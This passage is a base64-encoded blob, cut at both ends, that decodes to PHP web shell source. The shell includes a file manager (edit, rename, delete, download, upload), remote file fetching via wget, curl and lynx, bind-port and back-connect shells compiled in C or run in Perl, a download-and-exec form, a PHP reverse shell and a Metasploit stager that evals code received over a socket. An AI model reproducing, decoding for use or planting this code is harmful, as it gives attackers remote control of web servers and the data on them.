5MYXN0IG1vZGlmaWVkPC90ZD48dGQ+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJGZpbGUpKS4iPC90ZD48L3RyPiA8dHI+PHRkPkxhc3QgYWNjZXNzZWQ8L3RkPjx0ZD4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVhdGltZSgkZmlsZSkpLiI8L3RkPjwvdHI+IDx0cj48dGQ+QWN0aW9uczwvdGQ+PHRkPjxhIGhyZWY9Jz95PSRwd2QmYW1wO2VkaXQ9JGZpbGUnPmVkaXQ8L2E+IHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoXCIiLmNsZWFyc3BhY2UoJGZpbG4pLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsbikuIl9mb3JtXCIpO1wiPnJlbmFtZTwvYT4gfCA8YSBocmVmPSc/eT0kcHdkJmFtcDtkZWxldGU9JGZpbGUnPmRlbGV0ZTwvYT4gfCA8YSBocmVmPSc/eT0kcHdkJmFtcDtkbD0kZmlsZSc+ZG93bmxvYWQ8L2E+Jm5ic3A7KDxhIGhyZWY9Jz95PSRwd2QmYW1wO2RsZ3ppcD0kZmlsZSc+Z3ppcDwvYT4pPC90ZD48L3RyPiA8dHI+PHRkPlZpZXc8L3RkPjx0ZD48YSBocmVmPSc/eT0iLiRwd2QuIiZhbXA7dmlldz0iLiRmaWxlLiInPnRleHQ8L2E+IHwgPGEgaHJlZj0nP3k9Ii4kcHdkLiImYW1wO3ZpZXc9Ii4kZmlsZS4iJmFtcDt0eXBlPWNvZGUnPmNvZGU8L2E+IHwgPGEgaHJlZj0nP3k9Ii4kcHdkLiImYW1wO3ZpZXc9Ii4kZmlsZS4iJmFtcDt0eXBlPWltYWdlJz5pbWFnZTwvYT48L3RkPjwvdHI+PC90YWJsZT4iOw0KaWYoaXNzZXQoJF9HRVRbJ3R5cGUnXSkgJiYgKCRfR0VUWyd0eXBlJ109PSdpbWFnZScpKXtlY2hvICI8ZGl2IHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjttYXJnaW46OHB4Oyc+PGltZyBzcmM9Jz95PSIuJHB3ZC4iJmFtcDtpbWc9Ii4kZmlsbi4iJz48L2Rpdj4iO30gDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3R5cGUnXSkgJiYgKCRfR0VUWyd0eXBlJ109PSdjb2RlJykpe2VjaG8gIjxkaXYgY2xhc3M9J3ZpZXdmaWxlJz4iOyRmaWxlID0gd29yZHdyYXAoQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSwiMjQwIiwiXG4iKTtAaGlnaGxpZ2h0X3N0cmluZygkZmlsZSk7ZWNobyAiPC9kaXY+Ijt9IGVsc2Uge2VjaG8gIjxkaXYgY2xhc3M9J3ZpZXdmaWxlJz4iO2VjaG8gbmwyYnIoaHRtbGVudGl0aWVzKChAZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKSkpO2VjaG8gIjwvZGl2PiI7fX1lbHNlaWYoaXNfZGlyKCRfR0VUWyd2aWV3J10pKXtlY2hvIHNob3dkaXIoJHB3ZCwkcHJvbXB0KTt9fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydlZGl0J10pICYmICgkX0dFVFsnZWRpdCddICE9ICIiKSl7aWYoaXNzZXQoJF9QT1NUWydzYXZlJ10pKXskZmlsZSA9ICRfUE9TVFsnc2F2ZWFzJ107JGNvbnRlbnQgPSBtYWdpY2Jvb20oJF9QT1NUWydjb250ZW50J10pO2lmKCRmaWxleiA9IEBmb3BlbigkZmlsZSwidyIpKXskdGltZSA9IGRhdGUoImQtTS1ZIEg6aSIsdGltZSgpKTtpZihAZndyaXRlKCRmaWxleiwkY29udGVudCkpICRtc2cgPSAiZmlsZSBzYXZlZCA8c3BhbiBjbGFzcz0nZ2F5YSc+QDwvc3Bhbj4gIi4kdGltZTtlbHNlICRtc2cgPSAiZmFpbGVkIHRvIHNhdmUiO0BmY2xvc2UoJGZpbGV6KTt9ZWxzZSAkbXNnID0gInBlcm1pc3Npb24gZGVuaWVkIjt9aWYoIWlzc2V0KCRmaWxlKSkkZmlsZSA9ICRfR0VUWydlZGl0J107aWYoJGZpbGV6ID0gQGZvcGVuKCRmaWxlLCJyIikpeyRjb250ZW50ID0gIiI7DQp3aGlsZSghZmVvZigkZmlsZXopKXskY29udGVudCAuPSBodG1sZW50aXRpZXMoc3RyX3JlcGxhY2UoIicnIiwiJyIsZmdldHMoJGZpbGV6KSkpO30NCkBmY2xvc2UoJGZpbGV6KTt9Pz48Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDs/PiZhbXA7ZWRpdD08P3BocCBlY2hvICRmaWxlOz8+IiBtZXRob2Q9InBvc3QiPiA8dGFibGUgY2xhc3M9ImNtZGJveCI+IDx0cj48dGQgY29sc3Bhbj0iMiI+IA0KPHRleHRhcmVhIGNsYXNzPSJvdXRwdXQiIG5hbWU9ImNvbnRlbnQiPiANCjw/cGhwIGVjaG8gJGNvbnRlbnQ7Pz48L3RleHRhcmVhPiA8dHI+DQo8dGQgY29sc3Bhbj0iMiI+U2F2ZSBhcyA8aW5wdXQgb25Nb3VzZU92ZXI9InRoaXMuZm9jdXMoKTsiIGlkPSJjbWQiIGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InNhdmVhcyIgc3R5bGU9IndpZHRoOjYwJTsiIHZhbHVlPSI8P3BocCBlY2hvICRmaWxlOz8+IiAvPg0KPGlucHV0IGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNhdmUgISIgbmFtZT0ic2F2ZSIgc3R5bGU9IndpZHRoOjEyJTsiIC8+IA0KJm5ic3A7PD9waHAgZWNobyAkbXNnOz8+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPiA8P3BocCB9IA0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICd1cGxvYWQnKSl7aWYoaXNzZXQoJF9QT1NUWyd1cGxvYWRjb21wJ10pKXtpZihpc191cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSkpeyRwYXRoID0gbWFnaWNib29tKCRfUE9TVFsncGF0aCddKTskZm5hbWUgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTskdG1wX25hbWUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107JHBpbmRhaCA9ICRwYXRoLiRmbmFtZTskc3RhdCA9IEBtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRtcF9uYW1lLCRwaW5kYWgpO2lmICgkc3RhdCkgeyRtc2cgPSAiZmlsZSB1cGxvYWRlZCB0byAkcGluZGFoIjt9IGVsc2UgJG1zZyA9ICJmYWlsZWQgdG8gdXBsb2FkICRmbmFtZSI7fWVsc2UgJG1zZyA9ICJmYWlsZWQgdG8gdXBsb2FkICRmbmFtZSI7fSANCmVsc2VpZihpc3NldCgkX1BPU1RbJ3VwbG9hZHVybCddKSl7JHBpbGloYW4gPSB0cmltKCRfUE9TVFsncGlsaWhhbiddKTskd3VybCA9IHRyaW0oJF9QT1NUWyd3dXJsJ10pOyRwYXRoID0gbWFnaWNib29tKCRfUE9TVFsncGF0aCddKTskbmFtYWZpbGUgPSBkb3dubG9hZCgkcGlsaWhhbiwkd3VybCk7JHBpbmRhaCA9ICRwYXRoLiRuYW1hZmlsZTtpZihpc19maWxlKCRwaW5kYWgpKXskbXNnID0gImZpbGUgdXBsb2FkZWQgdG8gJHBpbmRhaCI7fWVsc2UgJG1zZyA9ImZhaWxlZCB0byB1cGxvYWQgJG5hbWFmaWxlIjt9Pz4NCjxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PXVwbG9hZCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJwb3N0Ij48YnI+PGJyPjxicj4NCjx0YWJsZSBjbGFzcz0idGFibmV0IiBzdHlsZT0id2lkdGg6MzIwcHg7cGFkZGluZzowIDFweDsiPiA8dHI+PHRoIGNvbHNwYW49IjIiPkxvY2FsPC90aD48L3RyPiA8dHI+PHRkIGNvbHNwYW49IjIiPjxwIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiPjxpbnB1dCBzdHlsZT0iY29sb3I6IzAwMDAwMDsiIHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIC8+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0idXBsb2FkY29tcCIgY2xhc3M9ImlucHV0emJ1dCIgdmFsdWU9IkdvIiBzdHlsZT0id2lkdGg6ODBweDsiPjwvcD48L3RkPiA8dHI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iaW5wdXR6IiBzdHlsZT0id2lkdGg6OTklOyIgbmFtZT0icGF0aCIgdmFsdWU9Ijw/cGhwIGVjaG8gJHB3ZDs/PiIgLz48L3RkPjwvdHI+IDwvdHI+IDwvdGFibGU+PC9mb3JtPiA8dGFibGUgY2xhc3M9InRhYm5ldCIgc3R5bGU9IndpZHRoOjMyMHB4O3BhZGRpbmc6MCAxcHg7Ij4gPHRyPjx0aCBjb2xzcGFuPSIyIj5SZW1vdGU8L3RoPjwvdHI+IDx0cj48dGQgY29sc3Bhbj0iMiI+PGZvcm0gbWV0aG9kPSJwb3N0IiBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowOyIgYWN0aW9ucz0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PXVwbG9hZCI+IDx0YWJsZT48dHI+PHRkPmxpbms8L3RkPg0KPHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJ3dXJsIiBzdHlsZT0id2lkdGg6MjUwcHg7IiB2YWx1ZT0iaHR0cDovL3NpdGUvZmlsZS4qIj48L3RkPjwvdHI+IDx0cj48dGQgY29sc3Bhbj0iMiI+DQo8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImlucHV0eiIgc3R5bGU9IndpZHRoOjk5JTsiIG5hbWU9InBhdGgiIHZhbHVlPSI8P3BocCBlY2hvICRwd2Q7Pz4iIC8+PC90ZD48L3RyPiA8dHI+PHRkPjxzZWxlY3Qgc2l6ZT0iMSIgY2xhc3M9ImlucHV0eiIgbmFtZT0icGlsaWhhbiI+IDxvcHRpb24gdmFsdWU9Ind3Z2V0Ij53Z2V0PC9vcHRpb24+IDxvcHRpb24gdmFsdWU9IndseW54Ij5seW54PC9vcHRpb24+IDxvcHRpb24gdmFsdWU9IndmcmVhZCI+ZnJlYWQ8L29wdGlvbj4gPG9wdGlvbiB2YWx1ZT0id2ZldGNoIj5mZXRjaDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3bGlua3MiPmxpbmtzPC9vcHRpb24+IDxvcHRpb24gdmFsdWU9IndnZXQiPkdFVDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3Y3VybCI+Y3VybDwvb3B0aW9uPiA8L3NlbGVjdD48L3RkPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ1cGxvYWR1cmwiIGNsYXNzPSJpbnB1dHpidXQiIHZhbHVlPSJHbyIgc3R5bGU9IndpZHRoOjI0NnB4OyI+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvdGQ+IDwvdHI+IDwvdGFibGU+IDxkaXYgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyO21hcmdpbjoycHg7Ij48P3BocCBlY2hvICRtc2c7Pz48L2Rpdj4NCjw/cGhwIH0NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnbmV0c3Bsb2l0Jykpew0KaWYgKGlzc2V0KCRfUE9TVFsnYmluZCddKSAmJiAhZW1wdHkoJF9QT1NUWydwb3J0J10pICYmICFlbXB0eSgkX1BPU1RbJ2JpbmRfcGFzcyddKSAmJiAoJF9QT1NUWyd1c2UnXSA9PSAnQycpKSB7JHBvcnQgPSB0cmltKCRfUE9TVFsncG9ydCddKTskcGFzc3dyZCA9IHRyaW0oJF9QT1NUWydiaW5kX3Bhc3MnXSk7dHVsaXMoImJkYy5jIiwkcG9ydF9iaW5kX2JkX2MpO2V4ZSgiZ2NjIC1vIGJkYyBiZGMuYyIpO2V4ZSgiY2htb2QgNzc3IGJkYyIpO0B1bmxpbmsoImJkYy5jIik7ZXhlKCIuL2JkYyAiLiRwb3J0LiIgIi4kcGFzc3dyZC4iICYiKTskc2NhbiA9IGV4ZSgicHMgYXV4Iik7aWYoZXJlZ2koIi4vYmRjICRwb3IiLCRzY2FuKSl7JG1zZyA9ICI8cD5Qcm9jZXNzIHN1Y2Nlc3NlZDwvcD4iO30gZWxzZSB7JG1zZyA9ICI8cD5Qcm9jZXNzIEZhaWxlZDwvcD4iO319IA0KZWxzZWlmIChpc3NldCgkX1BPU1RbJ2JpbmQnXSkgJiYgIWVtcHR5KCRfUE9TVFsncG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydiaW5kX3Bhc3MnXSkgJiYgKCRfUE9TVFsndXNlJ10gPT0gJ1BlcmwnKSkgeyRwb3J0ID0gdHJpbSgkX1BPU1RbJ3BvcnQnXSk7JHBhc3N3cmQgPSB0cmltKCRfUE9TVFsnYmluZF9wYXNzJ10pO3R1bGlzKCJiZHAiLCRwb3J0X2JpbmRfYmRfcGwpO2V4ZSgiY2htb2QgNzc3IGJkcCIpOyRwMj13aGljaCgicGVybCIpO2V4ZSgkcDIuIiBiZHAgIi4kcG9ydC4iICYiKTskc2NhbiA9IGV4ZSgicHMgYXV4Iik7aWYoZXJlZ2koIiRwMiBiZHAgJHBvcnQiLCRzY2FuKSl7JG1zZyA9ICI8cD5Qcm9jZXNzIHN1Y2Nlc3NlZDwvcD4iO30gZWxzZSB7JG1zZyA9ICI8cD5Qcm9jZXNzIEZhaWxlZDwvcD4iO30gfSANCmVsc2VpZiAoaXNzZXQoJF9QT1NUWydiYWNrY29ubiddKSAmJiAhZW1wdHkoJF9QT1NUWydiYWNrcG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydpcCddKSAmJiAoJF9QT1NUWyd1c2UnXSA9PSAnQycpKSB7JGlwID0gdHJpbSgkX1BPU1RbJ2lwJ10pOyRwb3J0ID0gdHJpbSgkX1BPU1RbJ2JhY2twb3J0J10pO3R1bGlzKCJiY2MuYyIsJGJhY2tfY29ubmVjdF9jKTtleGUoImdjYyAtbyBiY2MgYmNjLmMiKTtleGUoImNobW9kIDc3NyBiY2MiKTtAdW5saW5rKCJiY2MuYyIpO2V4ZSgiLi9iY2MgIi4kaXAuIiAiLiRwb3J0LiIgJiIpOyRtc2cgPSAidHJ5aW5nIHRvIGNvbm5lY3QgdG8gIi4kaXAuIiBvbiBwb3J0ICIuJHBvcnQuIiAuLi4iO30gDQplbHNlaWYgKGlzc2V0KCRfUE9TVFsnYmFja2Nvbm4nXSkgJiYgIWVtcHR5KCRfUE9TVFsnYmFja3BvcnQnXSkgJiYgIWVtcHR5KCRfUE9TVFsnaXAnXSkgJiYgKCRfUE9TVFsndXNlJ10gPT0gJ1BlcmwnKSkgew0KJGlwID0gdHJpbSgkX1BPU1RbJ2lwJ10pOyRwb3J0ID0gdHJpbSgkX1BPU1RbJ2JhY2twb3J0J10pO3R1bGlzKCJiY3AiLCRiYWNrX2Nvbm5lY3QpOw0KZXhlKCJjaG1vZCAreCBiY3AiKTskcDI9d2hpY2goInBlcmwiKTtleGUoJHAyLiIgYmNwICIuJGlwLiIgIi4kcG9ydC4iICYiKTsNCiRtc2cgPSAiVHJ5aW5nIHRvIGNvbm5lY3QgdG8gIi4kaXAuIiBvbiBwb3J0ICIuJHBvcnQuIiAuLi4iO30NCmVsc2VpZiAoaXNzZXQoJF9QT1NUWydleHBjb21waWxlJ10pICYmICFlbXB0eSgkX1BPU1RbJ3d1cmwnXSkgJiYgIWVtcHR5KCRfUE9TVFsnd2NtZCddKSkgeyRwaWxpaGFuID0gdHJpbSgkX1BPU1RbJ3BpbGloYW4nXSk7JHd1cmwgPSB0cmltKCRfUE9TVFsnd3VybCddKTskbmFtYWZpbGUgPSBkb3dubG9hZCgkcGlsaWhhbiwkd3VybCk7DQppZihpc19maWxlKCRuYW1hZmlsZSkpeyRtc2cgPSBleGUoJHdjbWQpO30NCmVsc2UgJG1zZyA9ICJlcnJvcjogZmlsZSBub3QgZm91bmQgJG5hbWFmaWxlIjt9Pz48YnI+PGJyPjxicj48YnI+IDx0YWJsZSBjbGFzcz0idGFibmV0Ij4gPHRyPjx0aD5CaW5kIFBvcnQ8L3RoPjx0aD5CYWNrIGNvbm5lY3Q8L3RoPjx0aD5kb3dubG9hZCBhbmQgRXhlYzwvdGg+PC90cj48dHI+PHRkPiA8dGFibGU+IDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9ucz0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PW5ldHNwbG9pdCI+PHRyPjx0ZD5Qb3J0PC90ZD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InBvcnQiIHNpemU9IjI2IiB2YWx1ZT0iPD9waHAgZWNobyAkYmluZHBvcnQgPz4iPjwvdGQ+PC90cj4gPHRyPjx0ZD5QYXNzd29yZDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJiaW5kX3Bhc3MiIHNpemU9IjI2IiB2YWx1ZT0iPD9waHAgZWNobyAkYmluZHBvcnRfcGFzczs/PiI+PC90ZD48L3RyPiA8dHI+PHRkPlVzZTwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmp1c3RpZnkiPjxwPjxzZWxlY3QgY2xhc3M9ImlucHV0eiIgc2l6ZT0iMSIgbmFtZT0idXNlIj48b3B0aW9uIHZhbHVlPSJQZXJsIj5QZXJsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iQyI+Qzwvb3B0aW9uPjwvc2VsZWN0PjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIG5hbWU9ImJpbmQiIHZhbHVlPSJCaW5kIiBzdHlsZT0id2lkdGg6MTIwcHgiPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT4gPC90ZD4gPHRkPjx0YWJsZT4gPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb25zPSI/eT08P3BocCBlY2hvICRwd2Q7Pz4mYW1wO3g9bmV0c3Bsb2l0Ij48dHI+PHRkPklQPC90ZD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9ImlwIiBzaXplPSIyNiIgdmFsdWU9Ijw/cGhwIGVjaG8gKChnZXRlbnYoJ1JFTU9URV9BRERSJykpID8gKGdldGVudignUkVNT1RFX0FERFInKSkgOiAoIjEyNy4wLjAuMSIpKTs/PiI+PC90ZD48L3RyPiA8dHI+PHRkPlBvcnQ8L3RkPjx0ZD48aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0iYmFja3BvcnQiIHNpemU9IjI2IiB2YWx1ZT0iPD9waHAgZWNobyAkYmluZHBvcnQ7Pz4iPjwvdGQ+PC90cj4gPHRyPjx0ZD5Vc2U8L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpqdXN0aWZ5Ij48cD48c2VsZWN0IHNpemU9IjEiIGNsYXNzPSJpbnB1dHoiIG5hbWU9InVzZSI+PG9wdGlvbiB2YWx1ZT0iUGVybCI+UGVybDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IkMiPkM8L29wdGlvbj48L3NlbGVjdD4gPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYmFja2Nvbm4iIHZhbHVlPSJDb25uZWN0IiBjbGFzcz0iaW5wdXR6YnV0IiBzdHlsZT0id2lkdGg6MTIwcHgiPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT4gPC90ZD4gPHRkPiA8dGFibGU+IDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9ucz0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PW5ldHNwbG9pdCI+PHRyPjx0ZD51cmw8L3RkPjx0ZD48aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0id3VybCIgc3R5bGU9IndpZHRoOjI1MHB4OyIgdmFsdWU9Ind3dy5zb21lLWNvZGUvZXhwbG9pdHMuYyI+PC90ZD48L3RyPjx0cj48dGQ+Y21kPC90ZD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9IndjbWQiIHN0eWxlPSJ3aWR0aDoyNTBweDsiIHZhbHVlPSJnY2MgLW8gZXhwbG9pdHMgZXhwbG9pdHMuYztjaG1vZCAreCBleHBsb2l0czsuL2V4cGxvaXRzOyI+PC90ZD4gPC90cj4gPHRyPjx0ZD48c2VsZWN0IHNpemU9IjEiIGNsYXNzPSJpbnB1dHoiIG5hbWU9InBpbGloYW4iPiA8b3B0aW9uIHZhbHVlPSJ3d2dldCI+d2dldDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3bHlueCI+bHlueDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3ZnJlYWQiPmZyZWFkPC9vcHRpb24+IDxvcHRpb24gdmFsdWU9IndmZXRjaCI+ZmV0Y2g8L29wdGlvbj4gPG9wdGlvbiB2YWx1ZT0id2xpbmtzIj5saW5rczwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IndnZXQiPkdFVDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3Y3VybCI+Y3VybDwvb3B0aW9uPiA8L3NlbGVjdD48L3RkPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJleHBjb21waWxlIiBjbGFzcz0iaW5wdXR6YnV0IiB2YWx1ZT0iR28iIHN0eWxlPSJ3aWR0aDoyNDZweDsiPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48L3RkPjwvdHI+PC90YWJsZT48ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjttYXJnaW46MnB4OyI+PD9waHAgZWNobyAkbXNnOz8+PC9kaXY+PGJyPg0KPD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmZ1bmN0aW9uIHNzKCR0KXtpZiAoIWdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHJldHVybiB0cmltKHVybGRlY29kZSgkdCkpO3JldHVybiB0cmltKHVybGRlY29kZShzdHJpcHNsYXNoZXMoJHQpKSk7fQ0KJHNfbXlfaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7JHJzcG9ydCA9ICI0NDMiOyRyc3BvcnRiNCA9ICRyc3BvcnQ7JHJzdGFyZ2V0NCA9ICRzX215X2lwOyRzX3Jlc3VsdCA9ICI8Y2VudGVyPjxkaXYgY2xhc3M9J215Ym94JyBhbGlnbj0nY2VudGVyJz48dGQ+PGgyPlJldmVyc2Ugc2hlbGwgKCBwaHAgKTwvaDI+PGZvcm0gbWV0aG9kPSdwb3N0JyBhY3Rpb25zPSc/eT08P3BocCBlY2hvICRwd2Q7Pz4mYW1wO3g9J25ldHNwbG9pdCc+PHRhYmxlIGNsYXNzPSdteWJveHRibCc+PHRyPjx0ZCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5Zb3VyIElQPC90ZD48dGQ+PGlucHV0IHN0eWxlPSd3aWR0aDoxMDAlOycgY2xhc3M9J2lucHV0eicgdHlwZT0ndGV4dCcgbmFtZT0ncnN0YXJnZXQ0JyB2YWx1ZT0nIi4kcnN0YXJnZXQ0LiInIC8+PC90ZD48L3RyPjx0cj48dGQ+UG9ydDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6MTAwJTsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J3NxbHBvcnRiNCcgdmFsdWU9JyIuJHJzcG9ydGI0LiInIC8+PC90ZD48L3RyPjwvdGFibGU+PGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0neGJhY2tfcGhwJyBjbGFzcz0naW5wdXR6YnV0JyB2YWx1ZT0nY29ubmVjdCcgc3R5bGU9J3dpZHRoOjEyMHB4O2hlaWdodDozMHB4O21hcmdpbjoxMHB4IDJweCAwIDJweDsnIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZCcgdmFsdWU9JyIuJHB3ZC4iJyAvPjwvZm9ybT48L3RkPjxociBjb2xvcj0nIzRDODNBRic+PHRkPjxmb3JtIG1ldGhvZD0nUE9TVCc+PHRhYmxlIGNsYXNzPSdteWJveHRibCc+PGgyPk1ldGFzcGxvaXQgQ29ubmVjdGlvbiA8L2gyPjx0cj48dGQgc3R5bGU9J3dpZHRoOjEwMHB4Oyc+WW91ciBJUDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6MTAwJTsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIHNpemU9JzQwJyBuYW1lPSd5aXAnIHZhbHVlPSciLiRteV9pcC4iJyAvPjwvdGQ+PC90cj48dHI+PHRkPlBvcnQ8L3RkPjx0ZD48aW5wdXQgc3R5bGU9J3dpZHRoOjEwMCU7JyBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBzaXplPSc1JyBuYW1lPSd5cG9ydCcgdmFsdWU9JzQ0MycgLz48L3RkPjwvdHI+PC90YWJsZT48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ29ubmVjdCcgbmFtZT0nbWV0YUNvbm5lY3QnIHN0eWxlPSd3aWR0aDoxMjBweDtoZWlnaHQ6MzBweDttYXJnaW46MTBweCAycHggMCAycHg7Jz48L2Zvcm0+PC90ZD48L2Rpdj48L2NlbnRlcj4iOw0KZWNobyAkc19yZXN1bHQ7DQppZigkX1BPU1RbJ21ldGFDb25uZWN0J10peyRpcGFkZHIgPSAkX1BPU1RbJ3lpcCddOyRwb3J0ID0gJF9QT1NUWyd5cG9ydCddO2lmICgkaXAgPT0gIiIgJiYgJHBvcnQgPT0gIiIpe2VjaG8gImZpbGwgaW4gdGhlIGJsYW5rcyI7fWVsc2Uge2lmIChGQUxTRSAhPT0gc3RycG9zKCRpcGFkZHIsICI6IikpIHskaXBhZGRyID0gIlsiLiAkaXBhZGRyIC4iXSI7fWlmIChpc19jYWxsYWJsZSgnc3RyZWFtX3NvY2tldF9jbGllbnQnKSl7JG1zZ3NvY2sgPSBzdHJlYW1fc29ja2V0X2NsaWVudCgidGNwOi8veyRpcGFkZHJ9OnskcG9ydH0iKTtpZiAoISRtc2dzb2NrKXtkaWUoKTt9JG1zZ3NvY2tfdHlwZSA9ICdzdHJlYW0nO31lbHNlaWYgKGlzX2NhbGxhYmxlKCdmc29ja29wZW4nKSl7JG1zZ3NvY2sgPSBmc29ja29wZW4oJGlwYWRkciwkcG9ydCk7aWYgKCEkbXNnc29jaykge2RpZSgpOyB9JG1zZ3NvY2tfdHlwZSA9ICdzdHJlYW0nO31lbHNlaWYgKGlzX2NhbGxhYmxlKCdzb2NrZXRfY3JlYXRlJykpeyRtc2dzb2NrID0gc29ja2V0X2NyZWF0ZShBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7JHJlcyA9IHNvY2tldF9jb25uZWN0KCRtc2dzb2NrLCAkaXBhZGRyLCAkcG9ydCk7aWYgKCEkcmVzKSB7ZGllKCk7IH0kbXNnc29ja190eXBlID0gJ3NvY2tldCc7fWVsc2Uge2RpZSgpO31zd2l0Y2ggKCRtc2dzb2NrX3R5cGUpe2Nhc2UgJ3N0cmVhbSc6ICRsZW4gPSBmcmVhZCgkbXNnc29jaywgNCk7IGJyZWFrO2Nhc2UgJ3NvY2tldCc6ICRsZW4gPSBzb2NrZXRfcmVhZCgkbXNnc29jaywgNCk7IGJyZWFrO31pZiAoISRsZW4pIHtkaWUoKTt9JGEgPSB1bnBhY2soIk5sZW4iLCAkbGVuKTskbGVuID0gJGFbJ2xlbiddOyRidWZmZXIgPSAnJzt3aGlsZSAoc3RybGVuKCRidWZmZXIpIDwgJGxlbil7c3dpdGNoICgkbXNnc29ja190eXBlKSB7Y2FzZSAnc3RyZWFtJzogJGJ1ZmZlciAuPSBmcmVhZCgkbXNnc29jaywgJGxlbi1zdHJsZW4oJGJ1ZmZlcikpOyBicmVhaztjYXNlICdzb2NrZXQnOiAkYnVmZmVyIC49IHNvY2tldF9yZWFkKCRtc2dzb2NrLCAkbGVuLXN0cmxlbigkYnVmZmVyKSk7YnJlYWs7fX1ldmFsKCRidWZmZXIpO2VjaG8gIlsqXSBDb25uZWN0aW9uIFRlcm1pbmF0ZWQiO2RpZSgpO319DQppZihpc3NldCgkX1JFUVVFU1RbJ3NxbHBvcnRiNCddKSkgJHJzcG9ydGI0ID0gc3MoJF9SRVFVRVNUWydzcWxwb3J0YjQnXSk7DQppZihpc3NldCgkX1JFUVVFU1RbJ3JzdGFyZ2V0NCddKSkgJHJzdGFyZ2V0NCA9IHNzKCRfUkVRVUVTVFsncnN0YXJnZXQ0J10pOw0KaWYgKCRfUE9TVFsneG